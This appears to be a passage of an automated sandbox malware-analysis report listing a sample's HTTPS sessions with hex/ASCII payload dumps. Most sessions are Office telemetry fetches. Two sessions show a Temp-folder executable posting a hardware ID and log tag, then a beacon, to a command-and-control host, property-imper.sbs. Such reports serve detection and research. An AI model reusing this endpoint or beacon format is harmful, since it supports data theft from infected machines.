2024-11-23 20:15:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:29 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aa7a34d-201e-0096-3676-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201529Z-178bfbc474bbbqrhhC1NYCvw74000000051000000000fwse x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:29 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.8	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:29 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:29 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 7268c357-001e-0066-5863-3b561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201529Z-178bfbc474bv7whqhC1NYC1fg400000004xg00000000d01q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:29 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.8	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:29 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:29 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201529Z-174c587ffdf4zw2thC1TEBu34000000003fg00000000c1zx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:30 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.8	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:29 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:30 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:29 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 5299024a-c01e-0079-4d47-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201529Z-174c587ffdfx984chC1TEB676g00000003dg00000000b11h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:30 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49729	172.67.162.84	443	3576	C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:30 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=02WE9O383964H User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1213 Host: property-imper.sbs
2024-11-23 20:15:30 UTC	1213	OUT	Data Raw: 2d 2d 30 32 57 45 39 4f 33 38 33 39 36 34 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 41 45 32 44 33 32 42 36 34 45 45 46 41 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 30 32 57 45 39 4f 33 38 33 39 36 34 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 32 57 45 39 4f 33 38 33 39 36 34 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 30 32 57 45 39 Data Ascii: --02WE9O383964HContent-Disposition: form-data; name="hwid"2AE2D32B64EEFAB7D7CBBD6DF28D3732--02WE9O383964HContent-Disposition: form-data; name="pid"1--02WE9O383964HContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--02WE9
2024-11-23 20:15:31 UTC	1026	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=naffu5r7g244r4e9lqr4c0laci; expires=Wed, 19-Mar-2025 14:02:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JWo1QqSFppZ2h%2BPPa4JCw%2BTBzHQD%2FureFpnkcje9beheDfVhJchusi76T4OqMz%2FjaoOJj69vPoTuyVTXULt%2BuaFLBDC%2F8LPLEp6F%2BvVrD0w%2FXbrBEzra1kx%2FALsPBmaHeIIEjfs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e73d4ea3ab943df-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1634&sent=7&recv=8&lost=0&retrans=1&sent_bytes=4230&recv_bytes=2127&delivery_rate=109626&cwnd=243&unsent_bytes=0&cid=6f3fb5a3af7938ae&ts=1043&x=0"
2024-11-23 20:15:31 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 20:15:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.8	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:31 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:31 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 657d02d2-201e-0033-2f57-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201531Z-178bfbc474bh5zbqhC1NYCkdug00000004sg00000000qk6z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:32 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.8	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:31 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:32 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 51fbd25c-e01e-0020-5e4d-3cde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201532Z-15b8b599d88phfhnhC1TEBr51n00000003hg000000009fzc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:32 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.8	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:31 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:32 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 8592a006-f01e-0085-6b6a-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201532Z-174c587ffdf7t49mhC1TEB4qbg00000003e0000000001h78 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:32 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.8	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:31 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:32 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 81892826-901e-00ac-7050-3cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201532Z-15b8b599d882l6clhC1TEBxd5c00000003c00000000051kn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:32 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.8	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:31 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:32 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 6ebbc676-001e-005a-784b-3cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201532Z-15b8b599d8885prmhC1TEBsnkw00000003kg000000007hcc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:32 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49736	172.67.162.84	443	3848	C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:33 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-23 20:15:33 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 20:15:33 UTC	1021	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j5ghskjmh0cn7mc6rtc1fm2pcl; expires=Wed, 19-Mar-2025 14:02:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x0H7ly6BpsD%2BTRt3TPxZ5xAo%2F890yphincKOboj2pbVHLrFrFADi7AiBulfci1gMmguzp8p3LI6KMkPXzfsRx94GbDL0z%2BUsLokZd3MUF%2BgMhK8Gq%2BB5r2ADh4z0Vi%2B0%2Fia4CiA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e73d4f8e8aec436-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1498&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1870595&cwnd=217&unsent_bytes=0&cid=a4d1da9dd295e568&ts=696&x=0"
2024-11-23 20:15:33 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 20:15:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.8	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:33 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:34 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 239436ba-d01e-0028-7bd5-3b7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201534Z-15b8b599d88hd9g7hC1TEBp75c00000003c000000000aeeg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
